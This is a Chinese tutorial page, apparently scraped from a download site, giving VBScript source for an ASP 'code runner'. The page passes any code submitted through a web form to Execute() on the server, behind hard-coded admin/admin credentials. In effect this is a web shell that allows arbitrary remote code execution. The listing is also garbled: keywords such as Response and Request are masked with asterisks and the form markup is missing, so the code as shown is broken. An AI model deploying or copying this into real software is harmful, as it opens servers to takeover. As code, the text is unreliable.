网站首页 > 书籍教程 > ASP教程 > 编写一个asp代码执行器

编写一个asp代码执行器

  • 作者:互联网
  • 时间:2009-06-23 16:38:54

保存为https://images.downcodes.comrunasp.asp运行。账号密码admin,登陆后输入代码就可执行了!!

<% @ LANGUAGE="VBSCRIPT" %>
<%Option Explicit
re***nse.buffer=true
dim Spassword,SUserName
    SUserName="admin"
    Spassword="admin"
dim SQLMutiStr
dim i
dim action
    ac***n=request.querystring("action")

IF action="GetCode" then '---------TOT
    NumCodeJS
ELSE '--------TOT
    Re***nse.Write("")
    Re***nse.Write("")
    Re***nse.Write("")
    Re***nse.Write("ASP RunCode SCR V1.0 / Create By <span class="visiblesaf6">Pa***Blue.Net</span> V37")
    Re***nse.Write("Pa***Blue.Net"">")
    Re***nse.Write("Pa***Blue.Net"">")
    Re***nse.Write("Pa***Blue.Net,,V37,RunCode,ASP,Script,Bl***dea.COM,Lf***x.com"">")
    Re***nse.Write("")
    Re***nse.Write("")
    Re***nse.Write("")

    SQLMutiStr=trim(Re***st.Form("SQLMutiStr"))
    if session("login")="" and action="chkpass" then
        session("login")=checkPass()
    end if
    if action="exit" then session("login")=""
    if session("login")="1" then
            if action="RunCode" then 
                if SQLMutiStr="" then
                    Re***nse.write "没有输入要运行的代码!"
                    Re***nse.write "

ja***cript:window.history.back();"">返回运行页面

"
                    Re***nse.write "退出登陆"
                    re***nse.end
                else
                    dim ExeStrArr
                    dim re
                    dim tempSQL,tempSQL2
                        dim ScriptArr,ScriptSubArr
                        tempSQL2=""
                    tempSQL=split(SQLMutiStr,vbcrlf)
                    if inStr(lcase(tempSQL(0)),"language")>0 then
                        tempSQL2=tempSQL(1)
                        if ubound(tempSQL)>1 then
                            for i=1 to ubound(tempSQL)
                                tempSQL2=tempSQL2&tempSQL(i)
                            next
                        end if
                        tempSQL2=trim(tempSQL2)
                    else
                        tempSQL2=SQLMutiStr
                    end if
                        tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%r***onse.write ")
                        do
                            tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
                        loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
                            tempSQL2=trim(tempSQL2)
                            tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
                            ScriptArr=split(tempSQL2,"%"&">")
                        dim ub,kub
                            ub=ubound(ScriptArr)
                        for i=0 to ub-1
                            ScriptSubArr=split(ScriptArr(i),"<"&"%")
                            if i>0 then re***nse.write (ScriptSubArr(0))
                            ExeCuteIt(ScriptSubArr(1))
                        next
                    call EndProc("代码运行完毕!")
                end if
            else
                %>
                输入要运行的ASP代码:
               


               
               

                wi***w.location.href='?action=exit';" Value="LouOut">
               
               
               

        <%    end if
    else
        call loginmain()
    end if
        Re***nse.write ("")
END IF '-------TOT

SUB loginMain()
    %>

       

 UserName:

         PassWord:

        CheckCode:

       

    <%   
End SUB

function checkPass()
    dim UserName,Runpassword,GetCode
    dim errinfo
    checkPass=""
    UserName=trim(re***st.form("UserName"))
    Runpassword=trim(re***st.form("Runpassword"))
    GetCode=re***st.form("GetCode")
    if UserName="" or Runpassword="" then
        errinfo=errinfo&"

  • 用户名和密码输入不能为空"
        end if
        if Not isnumeric(GetCode) then
            errinfo=errinfo&"
  • 请输入数字校验码"
        end if
        if errinfo<>"" then
            call loginmain()       
            EndProc errinfo
        end if
        if action="chkpass" and Session("GetCode")=int(GetCode) and UserName=SUserName and Runpassword=Spassword then
            Session("GetCode")=0
            checkPass="1"
        else
            call loginmain()
            EndProc "登陆失败!请重新确认正确输入"
        end if
    End function

    SUB    ExeCuteIt(ExString)
        on error resume next
        Execute(ExString)
        if er***umber<>0 then
            Re***nse.write "

    "
            Re***nse.write "
    "
            Re***nse.write "出错信息:
  • "&er***escription&""
            Re***nse.write "
    "
            Re***nse.write "出错代码:
  • "&Htmlencode(ExString)&""
            Re***nse.write "
  • "
        end if
        on error goto 0
    end SUB

    function HTMLEncode(reString)
        dim Str:Str=reString
        if not isnull(Str) then
            Str = replace(Str, ">", ">")
            Str = replace(Str, "<", "<")
            Str = Replace(Str, CHR(32), " ")
            Str = Replace(Str, CHR(9), "    ")
            Str = Replace(Str, CHR(34), """)    ' "
            Str = Replace(Str, CHR(39), "'")    ' '
            Str = Replace(Str, CHR(13), "")
            Str = Replace(Str, CHR(10) & CHR(10), "

    ")
            Str = Replace(Str, CHR(10), "
    ")
            HTMLEncode = Str
        else
            HTMLEncode=""
        end if
    end function

    '断点调试 num=0 中断
    Sub Response_write(str,num)
        dim istr:istr=str
        dim inum:inum=num
        re***nse.write str&"
    "
        if inum=0 then re***nse.end
    end sub

    SUB EndProc(info)
        Re***nse.write "


    "
        Re***nse.write info
        Re***nse.write "
    ja***cript:window.history.back();"">返回运行页面

    "
        Re***nse.write "退出登陆"
        re***nse.end
    End SUB   
    %>